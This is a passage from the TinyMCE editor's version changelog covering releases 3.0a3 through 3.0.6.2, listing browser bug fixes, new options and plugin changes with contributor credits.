inside pre elements since they where protected from whitespace removal. - Fixed bug where color split buttons where rendered incorrectly on IE6 when using the non default theme. - Fixed so caret is placed after links ones they are created, to improve usability of the editor. - Fixed so you can select tables by clicking on it's borders in non IE browsers to normalize the behavior. - Fixed so the menus can be toggled by clicking once more on the icon in listboxes, menubuttons and splitbuttons based on code contributed by Josh Peek. - Fixed so buttons can be labeled, currently only works with the default skin, so it's kind of experimental. Patch contributed by Daniel Insley. - Fixed so forecolorpicker and backcolorpicker remembers the last selected color. Patch contributed by Shane Tomlinson. - Fixed so that you can only execute the mceAddEditor command once for the same instance name. - Fixed so command functions added with addCommand can pass though the call to default handles if it returns true. -Version 3.0.6.2 (2008-04-07) - Fixed bug where empty tables couldn't be edited correctly on non IE browsers if they where loaded into the editor. - Fixed bug where it was impossible to resize layers correctly in IE since it thought it was an image. - Fixed bug where an editor instance was stealing focus in IE resulting in a scroll to the editor on page reloads. - Fixed bug where Safari was crashing on Mac OS X if you closed dialogs using the Esc key. -Version 3.0.6.1 (2008-04-04) - Added support for the missing mceAddFrameControl command. The input for this command has changed so consult the Wiki. - Fixed bug where sub menus for the drop menus would leave an empty element behind. - Fixed memory leak in IE if the editor was placed in a frame or iframe. -Version 3.0.6 (2008-04-03) - Added elements to the default value of valid_elements option. It now contains all XHTML strict elements and a few transitional. - Added more accessibility fixes, it's now possible to navigate and close list boxes and split button menus with the keyboard. - Added missing getInfo method to the contextmenu and safari plugin, this caused problems for the Drupal module. - Added new inlinepopups_zindex option to the inlinepopups plugin so that you can configure the default start z-index. - Added new setControlType method to the tinymce.ControlManager class. This method enables you to override the default classes. - Added ability to specific an optional control class to use instead of the default one for the ControlManager methods. Based on concept by Josh Peek. - Fixed bug where attribute rules for the DOM Serializer couldn't contain - or _ characters in their names. - Fixed bug where inlinepopups event blocker and modal dialog blocker elements produced vertical scrollbars. - Fixed bug where there was a rendering issue with quirks mode in Safari moving the resize handle to an incorrect position. - Fixed bug with forecolor/backcolor controls on IE. Sometimes elements positioned relative will generate display errors. - Fixed bug where a p2 was leaking out in the global name space when you selected a color from the forecolor/backcolor controls. - Fixed bug where empty paragraphs didn't work as expected in browsers other than IE. - Fixed bug where the load method of the tinymce.dom.ScriptLoader didn't check if the file was already loaded. - Fixed bug where the load method for the PluginManager and ThemeManager didn't check if a plugin/theme by a specific name was all ready loaded. - Fixed bug where the theme_advanced_link_targets option didn't work correctly with the advanced themes link dialog. Patch contributed by Arnold B. - Fixed bug where the style command would merge classes into empty span elements. - Fixed bug where the style command would remove empty span elements outside the current selection. - Fixed bug where the fix for the Safari backspace bug removed all editor contents if it was filled with empty paragraphs. - Fixed bug where alert and confirm boxes opened by the inlinepopups plugin would produce an exception if domain relaxing was used. - Fixed bug where Safari was adding style attributes to all elements when you paste them into the editor. - Fixed bug where the spellchecker menus was visually incorrect since the space for the non existing icon was still there. - Fixed bug where remove_linebreaks option didn't remove line breaks inside the text contents of a element. - Fixed bug where Safari 3.1 was introducing _mc_tmp into paragraphs due to the new querySelectorAll and a TinyMCE specific workaround. - Fixed bug where getParam method in the Editor class was returning incorrect objects and would mess up the font drop down. Patch contributed by speednet. - Fixed bug where the table dialog would produce an exception in IE when you edited tables since it tried to place focus in a disabled field. - Fixed bug where class attribute on some span elements was removed on cleanup. - Fixed bug where resizing the editor in IE could produce an exception if the editor width/height got to be a negative value. - Fixed bug where wmv files wouldn't play since the src param was used instead of the url param. - Fixed bug where br elements would be added here and there in Gecko. Geckos internal _moz_dirty br elements where serialized as well. - Fixed bug where editing named anchors would produce two anchors instead of one updated one. - Fixed bug where arrow and function keys didn't work when an noneditable element was focused within the editor. - Fixed bug where the dispatcher could produce an exception if the listener list was altered inside an event callback. - Fixed bug where it was impossible to totally empty the editor contents on Safari due to an mistreatment of nbsp as whitespace. Patch contributed by Andrew Ozz. - Fixed bug where TinyMCE would not convert textareas with the same name attribute value. It will now generate an unique id for those textareas. - Fixed bug where backspace/delete key was deleting td elements inside tables while running on Gecko. - Fixed bug where Firefox 3.0b4 and Opera 9.26 where scrolling to the top of document when pressing return/enter. - Fixed bug where the template plugin wasn't just inserting the mceTmpl tagged element. - Fixed bug where the alert method of the default WindowManager implementation didn't translate input language strings like the inlinepopups dialog does. - Fixed bugs with the backspace behavior in Gecko. The caret was placed on incorrect locations in the DOM sometimes. - Fixed so advimage dialog and table dialogs has support for editable select boxes for the class value. - Fixed so the media, pagebreak and spellchecker doesn't load it's default content.css file if the content_css option is set to false. - Fixed so the paste_use_dialog option works again it's enabled by default but can be disabled on IE. Patch contributed by Speednet. - Fixed so that the fullscreen editor is focused when switching fullscreen editing on. - Fixed so it's possible to edit images and links inside tables using the context menu. - Fixed so table dialogs and the advanced image dialog doesn't loose selection in IE if the dialogs where navigated/submitted with the keyboard. - Fixed so the theme_advanced_blockformats options can have named items for example title 1=h1;title 2=h2. - Fixed so it's possible to add a custom editor_css for the simple theme. - Fixed quirks with directionality rtl, patch contributed by Andrew Ozz. - Fixed so the inlinepopups default start zIndex is 300000. - Fixed typo in media plugin Shockware is now replaced with Shockwave. - Fixed psuedo memory leak in IE with the replaceChild method inside the DOMUtils.replace method. - Fixed so memory is released when an editor instance is removed from page. - Optimized the color split button menus so that they use less event handlers. - Removed the util/mclayer.js file since it's no longer used by any of the TinyMCE dialogs and is considered deprecated. -Version 3.0.5 (2008-03-12) - Added new black skin variant to the o2k7 skin contributed by Stefan Moonen. - Added new explode method to the tinymce core class. This does a split but removed whitespace it also defaults to a , delimiter. - Added new detection logic for IE 8 standards mode into the DOMUtils class strMode can now be checked to see if that mode is on/off. - Added new noscale option value for the scale select box for Flash in the media plugin. - Fixed bug where the menu for the ColorSplitButton wasn't removed when the editor was removed. - Fixed bug where font colors couldn't be edited correctly since the style of the element didn't get updated correctly. - Fixed bug where class of elements would get lost when TinyMCE was fixing incorrect HTML markup. - Fixed bug where table editing would produce double height values. - Fixed bug where width style value wouldn't be removed if you switched width unit from cm/em to pixels or percent. - Fixed bug where the search/replace input box wasn't auto focused like the other dialogs. - Fixed bug where the old mceAddControl command would use the fullscreen settings next time it created an instance. - Fixed bug where multiple lines where added to the target cell if you merged multiple empty cells. - Fixed bug where drop down menus would be incorrectly positioned inside scrollable divs. - Fixed bug where the separators of the silver skin variant didn't display correctly in IE 6. - Fixed bug where createStyleSheet seems to load scripts at opposite order in some IE versions. - Fixed bug where directionality could produce odd results for the UI and the dialogs. - Fixed bug where the DOM serializer wouldn't serialize custom namespaced attributes in IE 6 using the *[*] valid elements rule. - Fixed bug where table caption would be inserted after the thead element if you swapped a tr to be inside the thead. - Fixed bug where the youtube detection logic for the media plugin was to generic. - Fixed so the deprecated and undocumented theme_advanced_path_location set to none won't hide the whole statusbar. - Fixed so most input lists can have whitespace in them they are now split using the new tinymce.explode method. - Fixed so the popup_css and popup_css_add URLs are relative to where the current document is located. - Fixed various bugs and quirks with the store/restore selection logic. - Fixed so the editor starts in IE 8 standards mode but still that browser is very very buggy. - Fixed so dialog_type set to modal will block the background and other inline windows and only give access to the front most window. -Version 3.0.4.1 (2008-03-08) - Fixed critical bug where it was impossible to edit images when inlinepopups where used due to lost selection in IE. -Version 3.0.4 (2008-03-07) - Added new option constrain_menus, this enables you to force view port constraints on all menus. Contributed by Shane Tomlinson. - Fixed bug where table background wasn't visible inside the editor due to a default CSS rule overriding the style attribute. - Fixed bug where links would get a null class added if no styles was used in IE. - Fixed bug where spellchecker was auto focusing the editor in IE. - Fixed bug where document.domain would produce invalid argument if the editor was loaded in IE6 over a network UNC path. - Fixed bug where table height attribute was used, this is deprecated in XHTML so it now adds it as an style. - Fixed bug where textareas with style values would produce error in IE. - Fixed so the first element in each dialog is focused by default to enhance keyboard usage. - Fixed so you can add a mceFocus class to elements to make it auto focused. - Fixed so you can close dialogs using the esc key. - Fixed so you can press return/enter to submit the action of each dialog. - Fixed so tabbing inside an inline popups wont focus the resize anchor elements. - Fixed so you can press ok in inline alert messages using the return/enter key. - Fixed so textareas can be set to non px or % sizes for example em, cm, pt etc. - Fixed so non pixel values can be used in width/height properties for tables. - Fixed so the custom context menu can be disabled by holding down ctrl key while clicking. - Fixed so the layout for the o2k7 skin looks better if you don't have separators before and after list boxes. - Fixed so the sub classes get a copy of the super class constructor function to ease up type checking. - Fixed so font sizes for the format block previews are normalized according to http://www.w3.org/TR/CSS21/sample.html (it can be overridden). - Fixed so font sizes for h1-h6 in the default content.css is normalized according to http://www.w3.org/TR/CSS21/sample.html (it can be overridden). -Version 3.0.3 (2008-03-03) - Fixed bug where an error about document.domain would be thrown if TinyMCE was loaded using a different port. - Fixed bug where mode exact would convert textareas without id or name if the elements option was omitted. - Fixed bug where the caret could be placed at an incorrect location when backspace was used in Gecko. - Fixed bug where local file:// URLs where converted into absolute domain URLs. - Fixed bug where an error was produced if a editor was removed inside an editor command. - Fixed bug where force_p_newlines didn't effect the paste plugin correctly. - Fixed bug where the paste plugin was producing an exception on IE if you pasted contents with middots. - Fixed bug where delete key could produce exceptions in Gecko sometimes due to the fix for the table cell bug. - Fixed bug where the layer plugin would produce an visual add class called mceVisualAid this one is now renamed to mceItemVisualAid to mark it internal. - Fixed bug where TinyMCE wouldn't initialize properly if ActiveX controls was disabled in IE. - Fixed bug where tables and other elements that had visual aids on them would produce an extra space after any custom class names. - Fixed bug where search with an empty string would produce some odd "invalid pointer" error in IE. - Fixed bug where elements like menus where placed at incorrect positions in Opera 9.26. - Fixed bug where IE was loosing focus of the editor when you clicked some dropmenu and if it was placed in a frame or iframe. - Fixed bug where focus of images could be lost in IE if you focused the accessibility confirm dialog in the advimage plugin. - Fixed bug where nestled font elements would produce odd output like missing font elements. - Fixed bug where text colors and styles got removed if invalid_elements included the font element. - Fixed bug where text-decoration set to underline or line-through would remove other styles from span elements. - Fixed bug where editor contents like \n\n would be incorrectly handled and processed as real line feeds. - Fixed bug where incorrectly encoded urls with ampersands in them would be decoded incorrectly. - Optimized the DOMUtils decode method to be a lot faster if the string doesn't have any entities to decode. -Version 3.0.2.1 (2008-02-26) - Fixed alert/confirm dialogs so they display correctly. -Version 3.0.2 (2008-02-26) - Added new body_id option that enables you to specify the id of the body inside the editor iframe based on ideas by David Bildström (ChronoZ). - Added new body_class option that enables you to set the class for the body of the editor iframe based on ideas by David Bildström (ChronoZ). - Added new CSS class to the default content.css files mceForceColors that forces white background and black text can be used with the body_class option. - Added new type parameter to the Editor.getParam function to reduce redundant logic for parsing hash tables. - Added new isDone method to the ScriptLoaded class, this enables you to check if a script has been loaded or not. - Added new resizeTo and resizeBy methods for the advanced theme. Can be called using tinyMCE.activeEditor.theme.resizeTo(w, h); - Added new skin_variant option this can be used to extend existing skins with slight modifications like color. - Added new variant of the o2k7 skin called "silver" based on a contribution made by Stefan Moonen. - Fixed bug where the template plugin might produce errors if the template_mdate_classes wasn't configured. - Fixed bug where the media plugin didn't convert the URLs for movies once they where inserted. - Fixed bug where the style field for the advlink dialog didn't work correctly if you edited an existing link. - Fixed bug where alignment of toolbars would fail in editor was uses in a quirks mode on IE, fix contributed by Peter Wood & Art Lawry. - Fixed bug where initialization of multiple editors at the same time using the mceAddControl method would produce errors. - Fixed bug where initialization of editors using mceAddControl command or new tinymce.Editor calls would fail during page load. - Fixed bug where the check for domain relaxing could fail if the document.domain property was changed by another script. - Fixed bug where textareas couldn't be named description or any other name that matches the meta elements in IE and Opera. - Fixed bug where the element path would fail sometimes in IE due to "unknown runtime error" on innerHTML. - Fixed bug where Safari would crash if you was hiding the editor before serializing the contents. - Fixed bug where the editor wasn't scaled propertly in fullscreen mode using the old fullscreen_new_window option. - Fixed bug where render method didn't load language packs in IE and Opera if you rendered an editor during page load. - Fixed bug where resizing the browser window in fullscreen didn't resize the editor. - Fixed bug where the blockquote command didn't move the caret inside the new empty blockquote if you used it on an empty document. - Fixed bug where auto in a style width/height for the textarea would produce an editor with the size value of 100. Fix contributed by Shane Tomlinson. - Fixed bug where restoration of selection at the beginning of an element could fail in Gecko. - Fixed bug where caret restoration after a cleanup could place the it at an incorrect location. - Fixed bug where delete key inside td elements would delete the cell in Gecko. - Fixed so the blockquote button toggles individual lines. This behavior is a bit more like the old indentation behavior in the 2.x branch. - Fixed so the dialog language packs only gets loaded the first time you open a dialog. - Fixed so all classes in the whole UI is prefixed with "mce" to avoid collisions, use the skin converter to update your existing skins. - Fixed so all classes in the inlinepopups logic is prefixed with "mce" to avoid collisions, use the skin converter to update your existing skins. - Fixed so that the window in fullscreen mode can be resized when fullscreen_new_window option is enabled. - Fixed so blockquote elements are formatted in the source output with an linefeed before and after it. - Optimized the editor initialization by reducing the number of calls to getBookmark/moveToBookmark. -Version 3.0.1 (2008-02-21) - Added spellchecker plugin into the main package, but without any backend can be specified with the spellchecker_rpc_url option. - Added src attribute for script elements to the default valid_elements option value. - Added extra parameter to the class_filter callback it can now also filter out classes based on the whole CSS rule. - Added support for domain relaxing, TinyMCE can now be loaded from an remote domain as long as they are on the same root domain. - Added support for custom elements the new custom_elements option enables you to add non HTML elements to the editor. - Added support for the W3C Selectors API that was added to latest nightly build of WebKit. - Fixed bug where some object param element wasn't stored correctly using the media plugin. - Fixed bug where Opera was scrolling to top of page is drop menus on list boxes where displayed. - Fixed bug where IE6 was crashing if a format block was used on a container with anchor elements. - Fixed bug where spans with font sizes wasn't handled correctly when editor was loading contents. - Fixed bug where mode exact couldn't convert editors with name only. Id is no longer required but recommended. - Fixed bug where the mceInsertRawHTML command produced an extra undo level. - Fixed bug where the specific_textareas mode didn't work correctly this is the same thing as textareas now. - Fixed bug where the values of input elements in the HTML page of dialogs pages where changed in IE. - Fixed bug where fullscreen and fullpage plugins didn't work well together. - Fixed bug where embed elements wasn't handled properly in the media plugin. - Fixed bug where style information on span elements gets munged when fonts are converted to spans. - Fixed bug where some entities in element attributes where encoded incorrectly in the latest WebKit build. - Fixed bug where initialization would fail in IE if there where two input elements with the name submit in the form. - Fixed bug where fullscreen mode didn't work correctly in IE when the fullscreen_new_window option was used. - Fixed bug where invalid contents like an ul inside a p element would produce odd results in IE. - Fixed bug where Opera 9.2x was placing the drop menus at incorrect locations if the editor was placed in a table. - Fixed bug where Opera was producing odd results if enter/return was pressed while having forced_root_blocks disabled. - Fixed bug where layer plugin was stealing focus in IE on initialization. - Fixed bug where body attributes wasn't set properly in the fullpage plugin, fix contributed by Hiroaki Kawai. - Fixed bug where insert image and insert link dialogs where producing an extra level in the undo history. - Fixed bug where Gecko would produce an error if empty elements like <div></div> where inserted using mceInsertContent. - Fixed bug where center alignment of images produced odd results inside table cells. - Fixed bug where center alignment of images couldn't be toggled correctly. - Fixed bug where alignment of images inside tables would produce double float style items in IE if the fix_table_elements option was enabled. - Fixed bug where a variable called 'v' was polluting the global namespace. Objects tinymce and tinyMCE are the only ones allowed to be global. - Fixed bug where insert table from context menu couldn't insert new tables inside existing tables. - Fixed bug where Safari wouldn't produce br elements on enter when the force_br_newlines option was enabled. - Fixed bug where switching cell type in table cell dialog would produce odd attributes in IE. - Fixed bug where Gecko was outputting internal attributes if valid_elements where set to "*[*]". - Fixed bug where the style plugin would produce non hex colors inside the dialog when running on Gecko. - Fixed bug where an empty src value for insert image would remove the currently selected image if it wasn't and image element. - Fixed bug where hidden input elements would break the logic for the tab_focus option. - Fixed bug where save button wasn't working correctly in fullscreen mode. - Fixed bug where the editor was forced to be placed in a form element if the save_onsavecallback option was used. - Fixed bug where upper case param attributes wasn't parsed correctly in the media plugin. - Fixed bug where render method of tinymce.Editor class would produce an exception if the strict_loading_mode option was omitted. - Fixed bug where nodeChanged event could be fired while the editor was loading and there for produce an exception in FF. - Fixed bug where no undo levels where added if the user created new table rows using the tab key on Gecko. - Fixed bug where tables would be broken if you selected a different block format for contents withing an table cell. - Fixed bug where the render method of the tinymce.Editor class didn't setup the tinymce.EditorManager.settings object correctly. - Fixed bug where the advanced image dialog would go to the first tab if the alternative image was changed using the file browser link. - Fixed bug where the forced_root_block option would produce BR elements inside empty blocks if the block wasn't a paragraph. - Fixed bug where the forced_root_block doesn't work correctly on IE if the specified element was something else than paragraphs. - Fixed bug where selection of images would get lost if user selected something from the context menu in IE. - Fixed bug where the context menu plugin would pollute the global namespace with two variables p1 and p2. - Fixed compatibility issue with Mootools, it is destroying document.getElementById on unload in IE. (Mantra: You don't own the internal objects). - Fixed bugs where dialogs/tabs and other UI elements where rendered incorrectly in Firefox 3. - Fixed so the auto CSS class importer is compatible with 2.x. - Fixed so the editor UI and inlinedialogs works correctly with the YUI CSS reset package. - Fixed so header and footer elements are forced to lower case when the fullpage plugin is used. - Fixed so load prefixes "-" for plugins and themes isn't required if the plugin/theme was loaded by the ThemeManager/PluginManager. - Fixed so the JSONRequest uses application/json content type to make Ruby on rails happy. - Fixed so the CSS rule is more exact for the body in the default content.css files. Body is now defined as "body.mceContentBody" instead of just "body". - Fixed so the tiny_mce_dev.js uses XHR instead of document.write to load scripts to resolve an issue with Opera 9.50. - Fixed so language pack loading can be disabled by setting the language option to false. Can be useful for systems with their own language pack management. -Version 3.0 (2008-01-30) - Added map and area elements to the default valid_elements list and also some indentation rules. - Fixed bug where empty paragraphs wasn't padded when loading contents. - Fixed bug where the RowLayout manager didn't work at all. - Fixed bug where style attribute data would get messed up in advimage dialog. - Fixed bug where the table dialogs class select wasn't updated correctly. - Fixed bug where elements would get extra whitespace around on insert when body was present in valid_elements. - Fixed bug where coords attribute of the area element wasn't handled properly in IE. - Fixed bug where Safari didn't produce BR elements on shift+return. - Fixed bug where force blocks would cast odd invalid attribute exception in IE. - Fixed bug where media plugin would produce extra whitespace before and after objects. - Fixed bug where cleanup_callback could break the contents of the editor. But use the new event system instead of this option. - Fixed bug where the tab_focus option didn't work between editor instanced. You can now tab between editors. - Fixed bug where the load function of the ScriptLoader class didn't load single files without the load que as it was supposed to. - Fixed bug where the execcommand_callback parameter order was incorrect. Recommendation use the new addCommand method. - Fixed bug where range.select calls sometimes failed on some IE versions. - Fixed bug where Safari was scrolling to top of document when enter/returned was pressed. - Fixed bug where fullscreen_new_window option didn't work correctly. - Fixed bug where the nonbreaking plugin inserted an space instead of an non breaking space the first time. - Fixed bug where the visualization of non breaking spaces where visual in element path. - Fixed so the focus is restored to the editor after inserting an custom character. - Fixed so the isNotDirty state is set to false if a new undo level is added. - Fixed so pointless style information for borders gets removed in IE. - Fixed so the resize button has a se-resize cursor css value. -Version 3.0rc2 (2008-01-18) - Added new fix_nesting option to fix bug #1867292, this is disabled by default. - Added new indentation option enables you to specify how much each indent/outdent call will add/remove. - Added easier support for enabling/disabling icon columns on drop menues. - Added new menu button control class. This control is very similar to the splitbutton but without any onclick action. - Added support for previous tab focus (shift+tab). The tab_focus setting now takes two items next and previous element. - Fixed bug where iframes inside the editor got removed in Firefox on initial load. - Fixed bug where the CSS for abbr elements wasn't applied correctly in IE. - Fixed bug where mceAddControl on element inside a hidden container produced errors. - Fixed bug where closed anchors like <a /> produced strange results. - Fixed bug where caret would jump to the top of the editor if enter was pressed a the end of a list. - Fixed bug where remove editor failed if the editor wasn't properly initialized. - Fixed bug where render call on for a non existing element produced exception. - Fixed bug where parent window was hidden when the color picker was used in a non inlinepopups setup. - Fixed bug where onchange event wasn't fired correctly on IE when color picker was used in dialogs. - Fixed bug where save plugin could not save contents if the converted element wasn't an textarea. - Fixed bug where events might be fired even after an editor instance was removed such as blur events. - Fixed bug where an exception about undefined undo levels could be throwed sometimes. - Fixed bug where the plugin_preview_pageurl option didn't work. - Fixed bug where adding/removing an editor instance very fast could produce problems. - Fixed bug where the link button was highlighted when an anchor element was selected. - Fixed bug where the selected contents where removed if a new anchor element was added. - Fixed bug where splitbuttons where rendered one pixel down in the default theme. - Fixed bug where some buttons where placed at incorrect positions in the o2k7 theme. - Fixed bug that made it impossible to visually disable a custom button that used an image instead of CSS sprites. - Fixed bug where it wasn't possible to press delete/backspace if the editor was added+removed and re-added due to a FF bug. - Fixed bug where an entities option with only 38,amp,60,lt,62,gt would fail in IE. - Fixed bug where innerHTML sometimes generated unknown runtime error on IE. - Fixed bug where content_css files wasn't loaded in the template preview iframe. - Fixed bug where scroll position was incorrect when toggling fullscreen mode. - Fixed bug where restoration of overflow didn't work correctly when disabling fullscreen mode in Opera. - Fixed bug where drop menus where places at incorrect locations if the editor was placed in a scrollable container element. - Fixed bug where hideMenu didn't hide sub menus correctly. It will now hide all menus recursively. - Fixed so theme_advanced_path_location can be used in init options for compatibility reasons. - Fixed so the drop menu colors matches the rest of o2k7 theme. - Fixed so the preview example.html file is updated to the new 3.x API. - Fixed so the margins are the same by default inside the editable area between IE and other browsers. - Fixed so editor contents gets stored before it the onSubmit event is fired. -Version 3.0rc1 (2008-01-08) - Added new classes for toolbar rows in advanced theme mceToolbarRow1..n enabled you to change appearance of individual rows. - Added auto detection for the strict_loading_mode option when running in application/xhtml+xml mode on Gecko. - Optimized the HTML serializer by bundling some post process methods together. - Fixed so that the toolbars have unique IDs, enables you to alter the toolbars using the ControlManager and the DOM. - Fixed bug where delta values for dialog sizes in language packs didn't work correctly due to missing string to number casting. - Fixed bug where paragraph generation logic didn't handle hr or table elements correctly if they where the only element. - Fixed bug where some elements got extra linebreaks added after or before it in HTML output. - Fixed bug where it was hard to modify existing style data on table rows and table cells. - Fixed bug where the dom.getRect method didn't handle non pixel values correctly. - Fixed bug where strikethrough and underline couldn't be toggled on existing span elements. - Fixed bug where the postprocessor searched for nsbp instead of nbsp entities. - Fixed bug where it was impossible to edit links that had child elements within them. - Fixed bug where it was possible to click on the parent item of a submenu. - Fixed bug where mouseover/mouseout images couldn't be removed in advimage dialog. - Fixed bug where drop menus didn't work when running in application/xhtml+xml mode. - Fixed bug where Opera added doctype to output in application/xhtml+xml mode. - Fixed bug where some DOM methods didn't work correctly in the application/xhtml+xml mode. - Fixed bug where the inlinepopups didn't work correctly in the application/xhtml+xml mode. - Fixed bug where the ColorSplitButton didn't display correctly in the application/xhtml+xml mode. - Fixed bug where the UI layout was incorrect on Gecko browsers when running in application/xhtml+xml mode. - Fixed bug where the word paste plugin produced exception while running in application/xhtml+xml mode. - Fixed bug where there wasn't any hidden input element generated for divs while running in application/xhtml+xml mode. - Fixed bug where indentation of script/style/pre elements where incorrect. - Fixed bug where script element contents was removed in IE. - Fixed bug where script element contents got entity encoded. - Fixed bug where you couldn't edit existing element styles using the styles plugin. - Fixed bug where styles wasn't updated properly sometimes due to an performance enhancement. - Fixed bug where font sizes couldn't be changed using the style plugin. - Fixed bug where an error was produced in Gecko browsers when switching back from fullscreen mode. - Fixed bug where Opera was producing br elements after elements like h3. - Fixed bug where TinyMCE couldn't be loaded on a page using - characters in it's URL. - Fixed bug where the editor container element was forced to have a specific name. - Fixed bug with force_br_newlines option on Firefox, even though it should never be used (Read FAQ). - Fixed bug where onclick event had an return true; prefix added when creating an popup. - Fixed bug where the theme_advanced_statusbar_location option couldn't handle the value "none". - Fixed issue with URLs with multiple at characters for example an Zope URI. - Fixed so simple and advanced themes doesn't collide. - Fixed so a elements gets removed when the href field is left empty, the href attribute is required in a link after all. - Fixed so img elements gets removed when the src field is left empty, the src attribute is required for all images after all. - Removed the indent and encode methods from the tinymce.dom.Serializer class due to performance enhancement and reduction of the API size. -Version 3.0b3 (2007-12-14) - Added new getElement method to Editor class, returns the element that was replaced with the editor instance. - Added new unavailable prefix for disabled controls for accessibility reasons. - Fixed bug where regexp patterns couldn't be used for the editor_selector/editor_deselector options. - Fixed bug where the DOM wasn't properly initialized before the onInit event was executed in popups. - Fixed bug where font sizes where reduced by font size actions on previous spans in Safari. - Fixed bug where HR elements got places at the wrong location in IE. - Fixed bug where align/justify didn't work correctly on multiple paragraphs. - Fixed bug with missing translation for cell scope settings. - Fixed bug where selection/caret position was lost on some table actions. - Fixed bug where editor instances couldn't be added to hidden div elements. - Fixed bug where list elements in Safari would get an odd ID attribute. - Fixed bug where IE would return <html/> when the editor was completely empty. - Fixed bug where accessibility title attribute for access keys wasn't setup properly. - Fixed bug where forecolorpicker and backcolorpicker control names wasn't working. - Fixed bug where inserting template content didn't work in Safari due to selection exception. - Fixed bug where absolute URLs to remote hosts couldn't be used for background images. - Fixed bug where mysterious span elements where produced in Safari when injecting HTML contents. - Fixed bug where the media plugin didn't work correctly on the latest Opera 9.24. - Fixed bug where indentation of HTML output wasn't applied to all block elements. - Fixed bug where Safari was production DOM exception if you pressed enter in an empty editor. - Fixed bug where media plugin didn't parse script tags correctly patch contributed by Mathieu Campagna. - Fixed bug where the drop menus of list boxes like blockformat could produce scrolling of the page. - Fixed bug where the drop menus where placed at an incorrect location if TinyMCE was placed in a scrollable div. - Fixed bug where submit buttons couldn't be named submit, it's not recommended to name submit buttons submit anyway. - Fixed bug where the stylelistbox produced an exception if there was only one class in the list box. - Fixed bug where the stylelistbox wasn't updated correctly when the current class was removed. - Fixed bug where the formatblock command sometimes removed the body element. - Fixed bug where fullscreen switching in IE sometimes produced an exception when the spellchecker plugin was enabled. - Fixed issue where FF produced an empty paragraph when the editor was completely empty. - Fixed issue with size of image dialog in the advanced theme. - Fixed issues with the bbcode plugin it now also handles spans and the [font] rule. - Fixed so the style compression feature is a bit smarter to resolve issues with Opera. - Reintroduced the remove_linebreaks option, this is enabled by default. -Version 3.0b2 (2007-11-29) - Added type and compact attributes to the default valid_elements list for the ul and ol elements. - Added missing accessibility support to native list boxes in both the toolbar and dialogs. - Added missing access key for the element path for accessibility reasons. - Fixed support for loading themes from external URLs. - Fixed bug where setOuterHTML didn't work correctly when multiple elements where passed to it. - Fixed bug with visualchars plugin was moving elements around in the DOM. - Fixed bug with DIV elements that got converted into editors on IE. - Fixed bug with paste plugin using the old event API. - Fixed bug where the spellchecker was removing the word when it was ignored. - Fixed bug where fullscreen wasn't working properly. - Fixed bug where the base href element and attribute was ignored. - Fixed bug where redo function didn't work in IE. - Fixed bug where content_css didn't work as previous 2.x branch. - Fixed bug where preview dialog was throwing errors if the content_css wasn't defined. - Fixed bug where the theme_advanced_path option didn't work like the 2.x branch. - Fixed bug where the theme_advanced_statusbar_location was called theme_advanced_status_location. - Fixed bug where the strict_loading_mode option didn't work if you created editors dynamically without using the EditorManager. - Fixed bug where some language values wasn't translated such as insert and update in dialogs. - Fixed bug where some image attributes wasn't stored correctly when inserting an image. - Fixed bug where fullscreen mode didn't restore scrollbars when disabled. - Fixed bug where there was no visual representation for tab focus in toolbars on IE. - Fixed bug where HR elements wasn't treated as block elements so forced_root_block would fail on these. - Fixed bug where autosave presented warning message even when the form was submitted normally. - Fixed typo of openBrower it's now openBrowser in form_utils.js. - Fixed various HTML problems like missing TD elements and duplicated doctypes. - Fixed default values for theme_advanced_resize_horizontal, theme_advanced_resizing_use_cookie to be 2.x compatible. - Moved spellchecker JS files into the development package. - Removed support for theme_advanced_path_location since the theme_advanced_statusbar_location is the correct option name. -Version 3.0b1 (2007-11-21) - Added new tab_focus option, that enables you to specify a element id or that the next element to be focused on tab key down. - Added new addQueryValueHandler method to the tinymce.Editor class. - Added new class_filter option, this enables you to specify a function that can filter out CSS classes for the styles list box. - Added support form [url=url]title[/url] to the bbcode plugin. - Renamed the addCommandQueryState method in the tinymce.Editor class to addQueryStateHandler. - Renamed loadQue to loadQueue, to correct spelling. - Removed the createDOM method from the window manager and replace it with a createInstance method. - Removed the add to beginning of class attribute parameter of the DOMUtils.addClass method. - Fixed bug with the forced_root_block option, didn't work correctly with multiple inline elements. - Fixed bug where image dialogs replaced the current image element with a new one even when it was updated. - Fixed bug where the submit trigger wasn't executed when divs where converted into editor instances. - Fixed bug where div elements that got converted into editors didn't get a hidden input element generated for them. - Fixed bug where the the media_use_script option for the media plugin wasn't working correctly. - Fixed bug where the font size and font family listboxes wasn't updated correctly on Safari. - Fixed bug where the height of the fieldset in default image dialog for the advanced theme was to small. - Fixed bug where the font sizes behaved incorrectly after a cleanup on Safari. - Fixed bug where formatblock didn't work correctly in Safari on some elements. - Fixed bug where template plugin didn't insert content correctly unless some options where specified. - Fixed bug where charmap on Safari produced scrollbars. - Fixed bug where there was white artifacts in some dialogs due to missing background color. - Fixed bug where port was added to all external URLs if the editor was loaded from a custom port. - Fixed bug where the context menus got duplicated on Safari 3.0.4 on Mac OS X. - Fixed bug where dialogs like paste from word was huge on Firefox. - Fixed bug with media plugin not working with windows media objects. - Fixed bug where a forever loop was created if multiple instances where submitted using form.submit. - Fixed bug with editing a table produce error in IE when inlinepopups where used. - Fixed bug where the style plugin generated ugly looking style information in IE. - Fixed bug where the inline dialogs that got opened while in fullscreen mode wasn't visible. - Fixed bug where it was difficult to place the caret inside the word paste dialog. - Fixed bug where Opera produced strange border in the word paste dialog. - Fixed bug where viewport constraints could move a inlinepopup to a negative x, y position if the viewport was to small. - Fixed bug where template plugin was producing an error due to a deprecated API call. - Fixed bug where drag drop of images failed in Gecko if a document_base_url was specified. - Fixed bug where Firefox 3 failed to apply block formats like H1-H6 it still breaks on DIVs this has been reported to bugzilla. - Fixed bug where IE was producing a warning dialog about non secure items when running TinyMCE over HTTPS. - Fixed bug where the onbeforeunload event was triggered when menus or dialogs where opened. - Fixed bug where the fullscreen mode of the HTML view source box threw an error. - Fixed bug where the mceFocus command didn't work correctly. - Fixed bug where the selection could get lost in IE using inlinepopups. - Fixed so the body of the editor area has the mceContentBody class just like the 2.x branch. - Fixed so the media icon gets active when a media element is selected. -Version 3.0a3 (2007-11-13) - Added new experimental jQuery and Prototype framework adapters to the development package. - Added new translation.html file for the development package. Helps with the internationalization of TinyMCE. - Added new setup callback option, use this callback to add events to TinyMCE. This method is recommended over the old callbacks. - Added new API documetation to all classes, functions, events, properties to the Wiki with examples etc. - Added new init method to all plugins and themes, since it's shorter to write and it mimics interface capable languages better. - Fixed various CSS issues in the default skin such as alignment of split buttons and separators. - Fixed issues with mod_security. It 